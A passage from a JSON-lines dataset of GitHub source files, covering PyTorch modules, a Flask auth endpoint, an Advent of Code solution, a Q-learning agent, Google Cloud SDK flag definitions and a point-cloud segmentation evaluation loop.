convex_functions = [X**2, X**4, X**2+X**4, np.abs(X**3), 0.5*X**4, 0.5*X**2]\r\n # add gaussian noise to each convex function\r\n noise = np.random.normal(mu, sigma, size=(convex_functions[0].shape))\r\n noisy_functions = [np.add(y, noise) for y in convex_functions]\r\n\r\n save_data(X,noisy_functions, \"2d_data.pkl\")\r\n titles = [\"x^2\", \"x^4\", \"x^2 + x^4\", \"abs(x^3)\", \"0.5x^4\", \"0.5x^2\"]\r\n\r\n graph_function_subplots(num_functions, X, convex_functions, noisy_functions, titles)\r\n graph_all_functions(X,convex_functions,titles)\r\n","repo_name":"nfrumkin/Online-Learning-Toolbox","sub_path":"data/2Dgenerator.py","file_name":"2Dgenerator.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"32901983573","text":"import torch.nn as nn\n\n\nclass ConvGnRelu3(nn.Module):\n \"\"\" classic combination: conv + batch normalization [+ relu]\n post-activation mode \"\"\"\n\n def __init__(self, in_channels, out_channels, ksize, stride, padding, do_act=True, bias=True):\n super(ConvGnRelu3, self).__init__()\n self.conv = nn.Conv3d(in_channels, out_channels, ksize, stride=stride, padding=padding, groups=1, bias=bias)\n self.gn = nn.GroupNorm(1, out_channels)\n self.do_act = do_act\n if do_act:\n self.act = nn.ReLU(inplace=True)\n\n def forward(self, input):\n out = self.gn(self.conv(input))\n if self.do_act:\n out = self.act(out)\n return out\n\n\nclass BottConvGnRelu3(nn.Module):\n \"\"\"Bottle neck structure\"\"\"\n\n def __init__(self, in_channels, out_channels, ksize, stride, padding, ratio, do_act=True, bias=True):\n super(BottConvGnRelu3, self).__init__()\n self.conv1 = ConvGnRelu3(in_channels, in_channels//ratio, ksize, stride, padding, do_act=True, bias=bias)\n self.conv2 = ConvGnRelu3(in_channels//ratio, in_channels//ratio, ksize, stride, padding, do_act=True, bias=bias)\n self.conv3 = ConvGnRelu3(in_channels//ratio, out_channels, ksize, stride, padding, do_act=do_act, bias=bias)\n\n def forward(self, input):\n out = self.conv3(self.conv2(self.conv1(input)))\n return out","repo_name":"qinliuliuqin/Medical-Detection3d-Toolkit","sub_path":"detection3d/network/module/conv_gn_relu3.py","file_name":"conv_gn_relu3.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"7"} +{"seq_id":"146044561","text":"#!/usr/bin/env python3\n\nfrom datetime import datetime\nfrom json import dumps\nfrom types import SimpleNamespace\n\nfrom returns.primitives.exceptions import UnwrapFailedError\n\nfrom api import Api\nfrom jph import Post\n\napi = Api()\n\ntry:\n # Print title of post 99\n print(api.getPost(99).title)\n\n # get post 100\n # add field time\n # print new object as json\n print(\n dumps(\n dict(\n **(api.getPost(100).__dict__),\n time=datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\")\n )\n )\n )\n\n # create new post with:\n # title: \"Security Interview Post\"\n # UserID: 500\n # Body: \"This is an insertion test with a known API\"\n response = api.createPostRequest(\n Post(\n title=\"Security Interview Post\",\n userId=500,\n body=\"This is an insertion test with a known API\",\n )\n )\n\n # create tuple with:\n # id: id from above insertion\n # status code from above post\n # value of \"x-Powered-By\" header\n new_post = response.json(object_hook=lambda data: SimpleNamespace(**data))\n answer4 = (new_post.id, response.status_code, response.headers[\"X-Powered-By\"])\n\n # print tuple\n print(answer4)\n\n # delete the new post\n response = api.deletePostRequest(new_post.id)\n\n # print status code from delete op\n # print x-content-type-options from response\n print((response.status_code, response.headers[\"X-Content-Type-Options\"]))\n\nexcept UnwrapFailedError:\n print(\n \"One of the requests through 'api' failed to unwrap. This is caused by\"\n + \"the client failing to reach the endpoint. Check cats have not eaten the\"\n + \"internet.\"\n )\n\nexcept:\n print(\"I don't know why you're here, or if this is an unhandled edge-case\")\n","repo_name":"SheepReaper/tanium-assessment","sub_path":"run-scenario.py","file_name":"run-scenario.py","file_ext":"py","file_size_in_byte":1792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"42441186245","text":"from flask import jsonify, make_response\n\nfrom daos.user_dao import UserDAO\nfrom db import Session\nfrom jwtutil import encode_auth_token, decode_auth_token\n\n\n# see https://realpython.com/token-based-authentication-with-flask/\n\nclass User:\n\n @staticmethod\n def create(post_data):\n session = Session()\n # check if user already exists\n user = session.query(UserDAO).filter(UserDAO.id == post_data.get('email')).first()\n if not user:\n try:\n user = UserDAO(\n email=post_data.get('email'),\n password=post_data.get('password')\n )\n\n # insert the user\n session.add(user)\n session.commit()\n # generate the auth token\n auth_token = encode_auth_token(user.id)\n responseObject = {\n 'status': 'success',\n 'message': 'Successfully registered.',\n 'auth_token': auth_token\n }\n session.close()\n return make_response(jsonify(responseObject)), 200\n except Exception as e:\n print(e)\n responseObject = {\n 'status': 'fail',\n 'message': 'Some error occurred. Please try again.'\n }\n return make_response(jsonify(responseObject)), 401\n else:\n responseObject = {\n 'status': 'fail',\n 'message': 'User already exists. Please Log in.',\n }\n return make_response(jsonify(responseObject)), 202\n\n @staticmethod\n def get(auth_header):\n if auth_header:\n auth_token = auth_header.split(\" \")[1]\n else:\n auth_token = ''\n if auth_token:\n resp = decode_auth_token(auth_token)\n if not isinstance(resp, str):\n session = Session()\n # check if user already exists\n user = session.query(UserDAO).filter(UserDAO.id == resp).first()\n responseObject = {\n 'status': 'success',\n 'data': {\n 'user_id': user.id,\n 'email': user.email,\n 'admin': user.admin,\n 'registered_on': user.registered_on\n }\n }\n session.close()\n return make_response(jsonify(responseObject)), 200\n responseObject = {\n 'status': 'fail',\n 'message': resp\n }\n return make_response(jsonify(responseObject)), 401\n else:\n responseObject = {\n 'status': 'fail',\n 'message': 'Provide a valid auth token.'\n }\n return make_response(jsonify(responseObject)), 401\n","repo_name":"IndikaKuma/ADA2022","sub_path":"lab9/userservice/resources/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"18240496395","text":"# -*- coding: utf-8 -*-\n\"\"\"\nOnyx Project\nhttps://onyxlabs.fr\nSoftware under licence Creative Commons 3.0 France\nhttp://creativecommons.org/licenses/by-nc-sa/3.0/fr/\nYou may not use this software for commercial purposes.\n@author :: Cassim Khouani\n\"\"\"\nfrom onyx.core.models import RoomModel\nfrom onyx.extensions import db\nfrom onyx.api.assets import Json\nfrom onyx.api.exceptions import RoomException\nfrom onyx.util.log import getLogger\n\nlogger = getLogger('Room')\njson = Json()\n\n\"\"\"\n This class allows to manage the rooms of the house\n\n Cette classe permet de gérér les pièces de la maison\n\"\"\"\nclass Room:\n\n def __init__(self):\n self.id = None\n self.name = None\n self.house = None\n\n \"\"\"\n Get all rooms\n\n Récupérer toutes les pièces\n \"\"\"\n def get(self):\n try:\n query = RoomModel.Room.query.all()\n rooms = []\n for fetch in query:\n room = {}\n room['id'] = fetch.id\n room['name'] = fetch.name\n room['house'] = fetch.house\n rooms.append(room)\n\n return json.encode(rooms)\n except Exception as e:\n logger.error('Getting room error : ' + str(e))\n raise RoomException(str(e))\n\n \"\"\"\n Add a new room\n\n Ajouter une nouvelle pièce\n \"\"\"\n def add(self):\n try:\n query = RoomModel.Room(name=self.name,house=self.house)\n\n db.session.add(query)\n db.session.commit()\n \n logger.info('Room ' + query.name + ' added successfuly')\n\n return json.encode({\"status\":\"success\"})\n except Exception as e:\n logger.error('Room add error : ' + str(e))\n raise RoomException(str(e))\n\n \"\"\"\n Delete a room\n\n Supprimer une pièce\n \"\"\"\n def delete(self):\n try:\n query = RoomModel.Room.query.filter_by(id=self.id).first()\n\n db.session.delete(query)\n db.session.commit()\n\n logger.info('Room ' + query.name + ' deleted successfuly')\n\n return json.encode({\"status\":\"success\"})\n except Exception as e:\n logger.error('Room delete error : ' + str(e))\n raise RoomException(str(e))\n","repo_name":"OnyxAI/onyx_v1","sub_path":"onyx/api/room/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"7"} +{"seq_id":"15512379100","text":"import sys\nfrom pathlib import Path\n\nsys.path.append(str(Path(__file__).parent.parent))\nimport aoc_utils\n\nINPUT = \"day14-input.txt\"\nall_lines = aoc_utils.file_reader(INPUT)\n\n\"\"\"\nPart one:\nDropping sand on column 500 we need to determine when the cave spills over\nDrop straight down\nIf down is blocked, attempt down and to the left\nIf that's blocked, go down and to the right\nIf none, the sand is inert\n\"\"\"\n\n# Create the grid we're going to use\ncave_rocks = []\nx_bounds = [1e8, 0]\ny_max = 0\nfor line in all_lines:\n cave_rocks.append(line.rstrip(\"\\n\"))\n # Determine min and max x and y\n for a in line.rstrip(\"\\n\").split(\"->\"):\n b = a.split(\",\")\n x_bounds[0] = min(x_bounds[0], int(b[0]))\n x_bounds[1] = max(x_bounds[1], int(b[0]))\n\n # +1 as if y=10 we need y_max to be 11 (runs 0 -> 10)\n y_max = max(y_max, int(b[1]) + 1)\n\n# We adjust x_bounds to be zero indexed\norig_x_bounds = x_bounds[0]\norigin = 500 - x_bounds[0]\nshift_x = origin - 500\nx_bounds[0] = 0\nx_bounds[1] = x_bounds[1] - 500 + origin + 1\n\n# Create zeroed out cave grid\ncave_grid = [[0] * x_bounds[1] for i in range(y_max)]\n\n# Create the rocks in the grid\nfor c in cave_rocks:\n r_split = c.split(\"->\")\n for i in range(len(r_split)-1):\n x1 = int(r_split[i].split(\",\")[0]) + shift_x\n x2 = int(r_split[i+1].split(\",\")[0]) + shift_x\n\n y1 = int(r_split[i].split(\",\")[1])\n y2 = int(r_split[i+1].split(\",\")[1])\n\n if y2 == y1:\n for x in range(abs(x1-x2)+1):\n cave_grid[y2][min(x1,x2) + x] = 1\n\n elif x2 == x1:\n for y in range(abs(y1-y2)+1):\n cave_grid[min(y2,y1)+ y][x1]=1\n\n else:\n print(\"unknown\")\n\n# Debug printing statement\n# for c in cave_grid:\n# print(c)\n#\n\ndef drop_sand(x, y):\n # Recursive function to keep dropping sand down\n # If x or y is out of bounds, we hit the abyss\n\n try:\n if cave_grid[y+1][x] == 0:\n return drop_sand(x, y+1)\n elif cave_grid[y+1][x-1] == 0:\n return drop_sand(x-1, y+1)\n elif cave_grid[y+1][x+1] == 0:\n return drop_sand(x+1, y+1)\n else:\n # Set the sand here\n cave_grid[y][x] = 1\n\n return False\n except IndexError:\n print(\"Hit the abyss!\")\n return True\n\n\n# Start ddropping sand in\nsand_orig = (0, origin)\ncount = 0\nwhile True:\n if not drop_sand(sand_orig[1], sand_orig[0]):\n count += 1\n else:\n break\n\nprint(\"Part one hit abyss in %d\" % count)\n\n\"\"\"\nPart two:\nDrop sand until the origin itself is blocked\n\"\"\"\n\n# Recreate zeroed out cave grid\ncave_grid = [[0] * x_bounds[1] for i in range(y_max+2)]\nfor c in cave_rocks:\n r_split = c.split(\"->\")\n for i in range(len(r_split)-1):\n x1 = int(r_split[i].split(\",\")[0]) + shift_x\n x2 = int(r_split[i+1].split(\",\")[0]) + shift_x\n\n y1 = int(r_split[i].split(\",\")[1])\n y2 = int(r_split[i+1].split(\",\")[1])\n\n if y2 == y1:\n for x in range(abs(x1-x2)+1):\n cave_grid[y2][min(x1,x2) + x] = 1\n\n elif x2 == x1:\n for y in range(abs(y1-y2)+1):\n cave_grid[min(y2,y1)+ y][x1]=1\n\n else:\n print(\"unknown\")\n\n# I'm NAIVELY adding extra left and right columns to the grid\nadd_columns = 200\norigin += add_columns\nfor i in range(len(cave_grid)):\n cave_grid[i] = [0] * add_columns + cave_grid[i] + [0]*add_columns\n\ncave_grid[-1] = [1]*len(cave_grid[-1]) # Make hard floor\n\nsand_orig = (0, origin)\ncount = 0\nwhile cave_grid[0][origin] == 0:\n if not drop_sand(sand_orig[1], sand_orig[0]):\n count += 1\n else:\n break\n\nprint(\"Part two piles of sand at: %d\" % count)\n\n# for c in cave_grid:\n# print(c)","repo_name":"patricksavill/aoc-psavill","sub_path":"2022/day14/day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":3746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"39986913692","text":"from os import listdir\nfrom os.path import isfile, join\nimport datetime\nimport pandas as pd\n\n\ndef get_file_names_to_check(output_dir, a_index, b_index):\n files = [f for f in listdir(output_dir) if isfile(join(output_dir, f))]\n if (len(files) < 2):\n return None\n else:\n files.sort(reverse=True)\n return [files[a_index], files[b_index]]\n\n\ndef check_for(region, data_dir, a_file_name, b_file_name):\n a = pd.read_csv(f\"{data_dir}/{a_file_name}\")\n b = pd.read_csv(f\"{data_dir}/{b_file_name}\")\n\n a_count = a.loc[a[\"region\"] == region][\"cases\"].item()\n b_count = b.loc[b[\"region\"] == region][\"cases\"].item()\n \n return [a_count, b_count]\n\n\ndef results_for(regions_i_care_about, data_dir, files_to_compare):\n unchanged = []\n changed = []\n for region in regions_i_care_about:\n counts = check_for(region, data_dir, files_to_compare[0], files_to_compare[1])\n has_changed = counts[0] != counts[1]\n if has_changed:\n message_body = f\"{region} has changed from {counts[1]} to {counts[0]}\"\n changed.append(message_body)\n else:\n unchanged.append(f\"{region} has not changed, is still {counts[1]}\")\n \n return [unchanged, changed]\n\n\n","repo_name":"jamescoleuk/covid-19","sub_path":"src/checking.py","file_name":"checking.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"41415680239","text":"def division(a, b):\n try: \n if a < b:\n temp = a\n a = b\n b = temp\n return a / b\n else:\n return a / b\n except ZeroDivisionError as e:\n print(str(e))\n finally:\n if a == 0:\n a = 1\n elif b == 0:\n b = 1\n return a / b\n\nprint(division(5, 2))\nprint(division(2, 5))\nprint(division(0, 5))\nprint(division(2, 0))\n\n\n","repo_name":"agaribovic/Python-Exercises","sub_path":"Homeworks/Error Handling/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"37289300934","text":"import numpy as np\nimport pandas as pd\nimport tensorboard_easy as te\nimport os\nimport sys\nimport datetime\n\nsys.path.append('..')\nimport toy_env.grid_world as gw\n\nclass Buffer:\n def __init__(self, limit_len=1000):\n self.buffer = []\n self.limit_len = limit_len\n\n def put(self, transition):\n if len(self.buffer) >= self.limit_len:\n self.buffer.pop(0)\n\n self.buffer.append(transition)\n \n def sample(self):\n if not self.buffer:\n return\n return self.buffer[0]\n\n\nclass QL:\n def __init__(self, n_actions, ini_q_table, lr=0.001, gamma=0.99):\n self.n_actions = n_actions\n self.q_table = q_table\n self.lr = lr\n self.gamma = gamma\n self.timestamp = datetime.datetime.now().strftime('%Y%m%d%H%M%S')\n\n def infer_action(self, state, epsilon):\n if np.random.uniform() <= epsilon:\n action = np.random.choice([0, 1, 2, 3])\n else:\n action = np.argmax(self.q_table[state[0]][state[1]])\n\n return action\n \n def learn(self, transition):\n state, action, reward, next_state, done = transition\n td_error = reward + self.gamma * np.max(self.q_table[next_state[0]][next_state[1]]) * (1 - done) - self.q_table[state[0]][state[1]][action]\n self.q_table[state[0]][state[1]][action] += (self.lr * td_error)\n\n def save_model(self, url):\n np.save(url + '/ql_model_' + self.timestamp + '.npy', self.q_table)\n\n\nif __name__ == '__main__':\n env = gw.GridWorld()\n env_info = env.get_env_info()\n map_size = env.map_size\n n_actions = env_info['n_actions']\n\n model_url = '../model/ql'\n log_url = '../log/ql_' + datetime.datetime.now().strftime('%Y%m%d%H%M%S')\n if not os.path.exists(model_url):\n os.makedirs(model_url)\n if not os.path.exists(log_url):\n os.makedirs(log_url)\n\n logger = te.Logger(log_url)\n\n q_table = np.zeros((map_size, map_size, n_actions), dtype=float)\n\n ql = QL(env_info['n_actions'], q_table)\n buff = Buffer()\n\n epsilon=0.8\n epsilon_delta=0.01\n epsilon_low_bound=0.01\n\n for eps in range(200000):\n epsilon = 0.8 if eps < 5000 else max(epsilon_low_bound, epsilon - epsilon_delta / 1e-3 * (eps - 3000))\n # epsilon = max(epsilon_low_bound, epsilon - epsilon_delta)\n print('episode {} start ...'.format(eps))\n done = False\n total_reward = 0\n state = env.reset()\n\n while not done:\n action = ql.infer_action(state, epsilon)\n next_state, reward, done = env.step(action)\n\n # print('action: {}, reward: {}'.format(action, reward))\n \n total_reward += reward\n buff.put((state, action, reward, next_state, done))\n\n ql.learn(buff.sample())\n \n state = next_state\n \n if eps % 1000 == 0:\n print('episode: {} \\ttotal_step: {} \\ttotal_reward: {} \\tdone: {}'.format(eps, env.step_num, total_reward, done))\n\n logger.log_scalar(tag='total_reward', value=total_reward, step=eps)\n \n print('training is over. model saving ...')\n ql.save_model(model_url)\n print('model saved')\n\n\n\n\n\n\n\n\n \n \n\n","repo_name":"znnby1997/rl_demo","sub_path":"single_rl/q_learning.py","file_name":"q_learning.py","file_ext":"py","file_size_in_byte":3207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"9687501514","text":"import hashlib\nimport time\nimport urllib.request as urlrequest\nimport json\n\n\nclass RiskMediaCheckDemo(object):\n \"\"\"本接口通过AI算法对上报的图片进行分析,识别是否存在外挂行为。\"\"\"\n\n API_URL = \"http://ir-open.dun.163.com/v5/risk/mediaCheck\"\n\n def __init__(self, secret_id, secret_key, business_id, version):\n \"\"\"\n Args:\n secret_id (str) 产品id,每个应用接入时,会分配secretId和私钥secretKey。\n secret_key (str) 产品密钥,每个应用接入时,会分配secretId和私钥secretKey。\n business_id (str) 每个业务接入时,均会分配业务 ID\n version (str) 版本号,如500\n \"\"\"\n self.secret_id = secret_id\n self.secret_key = secret_key\n self.business_id = business_id\n self.version = version\n\n def gen_signature(self, params):\n buff = \"\"\n for k in sorted(params.keys()):\n buff += str(k) + str(params[k])\n buff += self.secret_key\n return hashlib.md5(buff.encode(\"utf8\")).hexdigest()\n\n def check(self, params):\n \"\"\"请求易盾接口\n Args:\n params (object) 请求参数\n Returns:\n 请求结果,json格式\n \"\"\"\n params[\"secretId\"] = self.secret_id\n params[\"businessId\"] = self.business_id\n params[\"version\"] = self.version\n params[\"timestamp\"] = int(time.time() * 1000)\n # 随机码,32位\n params[\"nonce\"] = \"mmm888f73yyy59440583zzz9bfcc79de\"\n params[\"signature\"] = self.gen_signature(params)\n\n try:\n headers = {\"Content-Type\": 'application/json'}\n params = json.dumps(params)\n params = bytes(params, 'utf8')\n request = urlrequest.Request(url=self.API_URL, data=params, headers=headers)\n content = urlrequest.urlopen(request, timeout=1).read()\n return json.loads(content)\n except Exception as ex:\n print(\"调用API接口失败:\", str(ex))\n\n\nif __name__ == \"__main__\":\n \"\"\"示例代码入口\"\"\"\n SECRET_ID = \"your_secret_id\"\n SECRET_KEY = \"your_secret_key\"\n BUSINESS_ID = \"your_business_id\"\n VERSION = \"500\"\n api = RiskMediaCheckDemo(SECRET_ID, SECRET_KEY, BUSINESS_ID, VERSION)\n\n params = {\n # 图片数据,图片支持编码为BASE64的数据,无需包含base64编码请求头部分\n \"mediaData\": \"auMW9NLW5rNaa6vXVpq2jTfy1Kemr2UuWyvu9L7662dvL7Oik3cp5J5PJ/dr35/56UrrvP5ML+X/pJ//9k=\",\n # 图片文件名,格式如xxx.jpg,需要包含.格式的文件后缀名\n \"mediaName\": \"xxx.jpg\",\n # 用户/玩家的角色ID\n \"roleId\": \"yyyyyyy\",\n # 用户/玩家的角色名称,非游戏类型应用,nickname 可以是当前用户昵称相同\n \"nickname\": \"yyyyyyy\",\n # 用户/玩家的角色的服务器名称\n \"server\": \"com.aaa.bbb\",\n # 用户/ 玩家的IP,或当前客户端业务事件发生时的公网IP地址(ipv4)\n \"ip\": \"192.168.1.1\"\n }\n\n ret = api.check(params)\n\n code: int = ret[\"code\"]\n msg: str = ret[\"msg\"]\n if code == 200:\n print(\"msg=%s, data=%s\" % (msg, ret[\"data\"]))\n else:\n print(\"ERROR: code=%s, msg=%s\" % (ret[\"code\"], ret[\"msg\"]))\n","repo_name":"yidun/irisk-openapi-demo","sub_path":"irisk-openapi-python-demo/v5/media/RiskMediaCheckDemo.py","file_name":"RiskMediaCheckDemo.py","file_ext":"py","file_size_in_byte":3296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27765775639","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom googlecloudsdk.calliope import arg_parsers\nfrom googlecloudsdk.command_lib.compute import completers as compute_completers\nfrom googlecloudsdk.command_lib.compute import flags as compute_flags\nfrom googlecloudsdk.command_lib.util.apis import arg_utils\n\n\n_GCS_BUCKET_DETAILED_HELP = \"\"\"\\\nThe name of the Google Cloud Storage bucket to serve from. The storage\n bucket must be in the same project.\"\"\"\n\nDEFAULT_LIST_FORMAT = \"\"\"\\\n table(\n name,\n bucketName:label=GCS_BUCKET_NAME,\n enableCdn\n )\"\"\"\n\n\nclass BackendBucketsCompleter(compute_completers.ListCommandCompleter):\n\n def __init__(self, **kwargs):\n super(BackendBucketsCompleter, self).__init__(\n collection='compute.backendBuckets',\n list_command='compute backend-buckets list --uri',\n **kwargs)\n\n\ndef BackendBucketArgument(plural=False):\n return compute_flags.ResourceArgument(\n name='backend_bucket_name',\n resource_name='backend bucket',\n plural=plural,\n completer=BackendBucketsCompleter,\n global_collection='compute.backendBuckets')\n\nGCS_BUCKET_ARG = compute_flags.ResourceArgument(\n resource_name='backend bucket',\n completer=BackendBucketsCompleter,\n name='--gcs-bucket-name',\n plural=False,\n required=False,\n global_collection='compute.backendBuckets',\n detailed_help=_GCS_BUCKET_DETAILED_HELP)\n\nREQUIRED_GCS_BUCKET_ARG = compute_flags.ResourceArgument(\n resource_name='backend bucket',\n completer=BackendBucketsCompleter,\n name='--gcs-bucket-name',\n plural=False,\n global_collection='compute.backendBuckets',\n detailed_help=_GCS_BUCKET_DETAILED_HELP)\n\n\ndef BackendBucketArgumentForUrlMap(required=True):\n return compute_flags.ResourceArgument(\n resource_name='backend bucket',\n name='--default-backend-bucket',\n required=required,\n completer=BackendBucketsCompleter,\n global_collection='compute.backendBuckets')\n\n\ndef AddUpdatableArgs(cls, parser, operation_type):\n \"\"\"Adds top-level backend bucket arguments that can be updated.\n\n Args:\n cls: type, Class to add backend bucket argument to.\n parser: The argparse parser.\n operation_type: str, operation_type forwarded to AddArgument(...)\n \"\"\"\n cls.BACKEND_BUCKET_ARG = BackendBucketArgument()\n cls.BACKEND_BUCKET_ARG.AddArgument(parser, operation_type=operation_type)\n\n parser.add_argument(\n '--description',\n help='An optional, textual description for the backend bucket.')\n\n parser.add_argument(\n '--enable-cdn',\n action=arg_parsers.StoreTrueFalseAction,\n help=\"\"\"\\\n Enable Cloud CDN for the backend bucket. Cloud CDN can cache HTTP\n responses from a backend bucket at the edge of the network, close to\n users.\"\"\")\n\n\ndef AddCacheKeyExtendedCachingArgs(parser):\n \"\"\"Adds cache key includeHttpHeader and includeNamedCookie flags to the argparse.\"\"\"\n parser.add_argument(\n '--cache-key-include-http-header',\n type=arg_parsers.ArgList(),\n metavar='HEADER_FIELD_NAME',\n help=\"\"\"\\\n Specifies a comma-separated list of HTTP headers, by field name, to\n include in cache keys. Only the request URL is included in the cache\n key by default.\n \"\"\")\n\n parser.add_argument(\n '--cache-key-query-string-whitelist',\n type=arg_parsers.ArgList(),\n metavar='QUERY_STRING',\n help=\"\"\"\\\n Specifies a comma-separated list of query string parameters to include\n in cache keys. Default parameters are always included. '&' and '=' are\n percent encoded and not treated as delimiters.\n \"\"\")\n\n\ndef AddCompressionMode(parser):\n \"\"\"Add support for --compression-mode flag.\"\"\"\n return parser.add_argument(\n '--compression-mode',\n choices=['DISABLED', 'AUTOMATIC'],\n type=arg_utils.ChoiceToEnumName,\n help=\"\"\"\\\n Compress text responses using Brotli or gzip compression, based on\n the client's Accept-Encoding header. Two modes are supported:\n AUTOMATIC (recommended) - automatically uses the best compression based\n on the Accept-Encoding header sent by the client. In most cases, this\n will result in Brotli compression being favored.\n DISABLED - disables compression. Existing compressed responses cached\n by Cloud CDN will not be served to clients.\n \"\"\")\n","repo_name":"twistedpair/google-cloud-sdk","sub_path":"google-cloud-sdk/lib/googlecloudsdk/command_lib/compute/backend_buckets/flags.py","file_name":"flags.py","file_ext":"py","file_size_in_byte":4399,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"7"} +{"seq_id":"34596204808","text":"import numpy as np\nimport torch\nimport tqdm\nfrom functools import reduce\n\nfrom pcseg.models import load_data_to_gpu\nfrom pcseg.utils import common_utils, commu_utils, metric_utils\nfrom .inst_eval.eval_utils import ScanNetEval\nfrom .inst_eval.pointwise_eval_utils import evaluate_semantic_miou, evaluate_semantic_acc, evaluate_offset_mae\nfrom .save_utils import save_npy, save_pred_instances\n\n\ndef eval_one_epoch(cfg, args, model, dataloader, epoch_id, logger, dist_test=False, writer=None,\n best_metric=0.0, best_epoch=-1, task='sem', eval_output_dir=None):\n if task == 'sem':\n return eval_sem(\n cfg, args, model, dataloader, epoch_id, logger, dist_test, writer, best_metric,\n best_epoch, eval_output_dir)\n elif task == 'inst':\n return eval_inst(\n cfg, args, model, dataloader, epoch_id, logger, dist_test, writer, best_metric,\n best_epoch, eval_output_dir)\n\n\ndef eval_sem(cfg, args, model, dataloader, epoch_id, logger, dist_test=False, writer=None,\n best_metric=0.0, best_epoch=-1, eval_output_dir=None):\n world_size = commu_utils.get_world_size()\n dataset = dataloader.dataset\n\n class_names = dataset.class_names\n num_class = len(dataset.class_names)\n dataset.set_class_mode('all')\n\n intersection_meter = common_utils.AverageMeter()\n union_meter = common_utils.AverageMeter()\n target_meter = common_utils.AverageMeter()\n output_meter = common_utils.AverageMeter()\n binary_intersection_meter = common_utils.AverageMeter()\n binary_target_meter = common_utils.AverageMeter()\n\n logger.info('*************** EPOCH %s EVALUATION *****************' % epoch_id)\n model.eval()\n\n if cfg.LOCAL_RANK == 0:\n progress_bar = tqdm.tqdm(total=len(dataloader), leave=True, desc='eval', dynamic_ncols=True)\n\n for i, batch_dict in enumerate(dataloader):\n load_data_to_gpu(batch_dict)\n\n batch_dict['epoch'] = epoch_id - 1\n with torch.no_grad():\n ret_dict = model(batch_dict)\n preds, labels = ret_dict['seg_preds'], ret_dict['seg_labels']\n disp_dict = {}\n\n cur_sample_id = (i * args.test_batch_size + (\n len(batch_dict['ids']) - 1)) * world_size + cfg.LOCAL_RANK + 1\n if dist_test and cur_sample_id > len(dataset):\n preds, labels = preds[:batch_dict['offsets'][-2]], labels[:batch_dict['offsets'][-2]]\n if cfg.MODEL.get('BINARY_HEAD', False):\n ret_dict['binary_preds'] = ret_dict['binary_preds'][:batch_dict['offsets'][-2]]\n batch_dict['offsets'] = batch_dict['offsets'][:-1]\n batch_dict['ids'] = batch_dict['ids'][:-1]\n\n # calculate metric\n intersection_meter, union_meter, target_meter, output_meter, _ = common_utils.update_meter(\n intersection_meter, union_meter, target_meter, output_meter, preds, labels,\n num_class, ignore_label=cfg.DATA_CONFIG.get('IGNORE_LABEL', 255)\n )\n if cfg.MODEL.get('BINARY_HEAD', False):\n binary_preds = ret_dict['binary_preds']\n binary_intersection_meter, binary_target_meter = common_utils.update_binary_acc_meter(\n binary_intersection_meter, binary_target_meter, binary_preds, labels,\n cfg.DATA_CONFIG.novel_class_idx, num_class\n )\n\n # ==== save to file ====\n if hasattr(args, 'save_results') and len(args.save_results) > 0:\n if 'semantic' in args.save_results:\n sem_preds = preds.clone().cpu().numpy()\n pred, scene_names = [], []\n for ii in range(len(batch_dict['offsets']) - 1):\n scene_names.append(batch_dict['scene_name'][ii])\n pred.append(sem_preds[batch_dict['offsets'][ii]: batch_dict['offsets'][ii + 1]])\n save_npy(eval_output_dir, 'semantic_pred', scene_names, pred)\n if 'logit' in args.save_results:\n logit = ret_dict['seg_scores'].cpu().numpy()\n pred, scene_names = [], []\n for ii in range(len(batch_dict['offsets']) - 1):\n scene_names.append(batch_dict['scene_name'][ii])\n pred.append(logit[batch_dict['offsets'][ii]: batch_dict['offsets'][ii + 1]])\n save_npy(eval_output_dir, 'logit', scene_names, pred)\n if cfg.LOCAL_RANK == 0:\n progress_bar.set_postfix(disp_dict)\n progress_bar.update()\n\n if cfg.LOCAL_RANK == 0:\n progress_bar.close()\n\n logger.info('*************** Performance of EPOCH %s *****************' % epoch_id)\n _, _, _, allPre, allAcc, iou_class, precision_class, acc_class, _ = \\\n common_utils.calc_metrics(intersection_meter, union_meter, target_meter, output_meter)\n\n if cfg.MODEL.get('BINARY_HEAD', False):\n binary_macc, binary_all_acc, binary_acc_class = common_utils.calc_binary_acc(\n binary_intersection_meter, binary_target_meter\n )\n else:\n binary_macc, binary_all_acc = 0.0, 0.0\n binary_acc_class = np.zeros(acc_class.shape)\n\n # logger.info('Val result: mIoU/mPre/mAcc/allPre/allAcc/b_mAcc/b_allAcc \\\n # {:.4f}/{:.4f}/{:.4f}/{:.4f}/{:.4f}/{:.4f}/{:.4f}.'.format(\n # mIoU, mPre, mAcc, allPre, allAcc, binary_macc, binary_all_acc))\n\n if 'base_class_idx' in cfg.DATA_CONFIG:\n hiou, miou, iou_base, iou_novel, hacc, macc, acc_base, acc_novel = metric_utils.cal_ov_metrics(\n cfg, logger, class_names, iou_class, acc_class, binary_acc_class\n )\n logger.info('-----------------------------------')\n logger.info('hIoU/mIoU/IoU_base/IoU_novel: {:.4f}/{:.4f}/{:.4f}/{:.4f}'.format(hiou, miou, iou_base, iou_novel))\n logger.info('hAcc/mAcc/Acc_base/Acc_novel: 